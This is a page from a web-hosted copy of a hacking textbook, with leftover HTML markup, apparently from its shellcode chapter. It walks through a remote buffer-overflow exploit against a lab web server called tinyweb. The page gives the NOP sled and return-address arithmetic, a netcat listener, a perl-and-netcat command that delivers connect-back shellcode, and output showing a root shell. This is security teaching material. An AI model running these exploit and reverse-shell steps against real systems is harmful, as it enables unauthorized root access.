26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

<strong>the</strong> return address uses multiple bytes. To ensure proper alignment, <strong>the</strong> sum<br />

<strong>of</strong> <strong>the</strong> NOP sled and shellcode bytes must be divisible by four. In addition, <strong>the</strong><br />

shellcode itself must stay within <strong>the</strong> first 500 bytes <strong>of</strong> <strong>the</strong> overwrite. These are<br />

<strong>the</strong> bounds <strong>of</strong> <strong>the</strong> response buffer, and <strong>the</strong> memory afterward corresponds<br />

to o<strong>the</strong>r values on <strong>the</strong> stack that might be written to before we change <strong>the</strong><br />

program’s control flow. Staying within <strong>the</strong>se bounds avoids <strong>the</strong> risk <strong>of</strong> random<br />

overwrites to <strong>the</strong> shellcode, which inevitably lead to crashes. Repeating <strong>the</strong><br />

return address 16 times will generate 64 bytes, which can be put at <strong>the</strong> end <strong>of</strong><br />

<strong>the</strong> 544-byte exploit buffer and keeps <strong>the</strong> shellcode safely within <strong>the</strong> bounds<br />

<strong>of</strong> <strong>the</strong> buffer. The remaining bytes at <strong>the</strong> beginning <strong>of</strong> <strong>the</strong> exploit buffer will<br />

be <strong>the</strong> NOP sled. The calculations above show that a 402-byte NOP sled will<br />

properly align <strong>the</strong> 78-byte shellcode and place it safely within <strong>the</strong> bounds <strong>of</strong><br />

<strong>the</strong> buffer. Repeating <strong>the</strong> desired return address 12 times spaces <strong>the</strong> final<br />

4 bytes <strong>of</strong> <strong>the</strong> exploit buffer perfectly to overwrite <strong>the</strong> saved return address<br />

on <strong>the</strong> stack. Overwriting <strong>the</strong> return address with 0xbffff688 should return<br />

execution right to <strong>the</strong> middle <strong>of</strong> <strong>the</strong> NOP sled, while avoiding bytes near <strong>the</strong><br />

beginning <strong>of</strong> <strong>the</strong> buffer, which might get mangled. These calculated values<br />

will be used in <strong>the</strong> following exploit, but first <strong>the</strong> connect-back shell needs<br />

some place to connect back to. In <strong>the</strong> output below, netcat is used to listen<br />

for incoming connections on port 31337.<br />

reader@<strong>hacking</strong>:~/booksrc $ nc -v -l -p 31337<br />

listening on [any] 31337 ...<br />

Now, in ano<strong>the</strong>r terminal, <strong>the</strong> calculated exploit values can be used to<br />

exploit <strong>the</strong> tinyweb program remotely.<br />

From Ano<strong>the</strong>r Terminal Window<br />

reader@<strong>hacking</strong>:~/booksrc $ (perl -e 'print "\x90"x402';<br />

> cat connectback_shell;<br />

> perl -e 'print "\x88\xf6\xff\xbf"x20 . "\r\n"') | nc -v 127.0.0.1 80<br />

localhost [127.0.0.1] 80 (www) open<br />

Back in <strong>the</strong> original terminal, <strong>the</strong> shellcode has connected back to<br />

<strong>the</strong> netcat process listening on port 31337. This provides root shell access<br />

remotely.<br />

reader@<strong>hacking</strong>:~/booksrc $ nc -v -l -p 31337<br />

listening on [any] 31337 ...<br />

connect to [192.168.42.72] from <strong>hacking</strong>.local [192.168.42.72] 34391<br />

whoami<br />

root<br />

The network configuration for this example is slightly confusing<br />

because <strong>the</strong> attack is directed at 127.0.0.1 and <strong>the</strong> shellcode connects back<br />

to 192.168.42.72. Both <strong>of</strong> <strong>the</strong>se IP addresses route to <strong>the</strong> same place, but<br />

192.168.42.72 is easier to use in shellcode than 127.0.0.1. Since <strong>the</strong> loopback<br />

address contains two null bytes, <strong>the</strong> address must be built on <strong>the</strong> stack with<br />

Shellcode 317

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!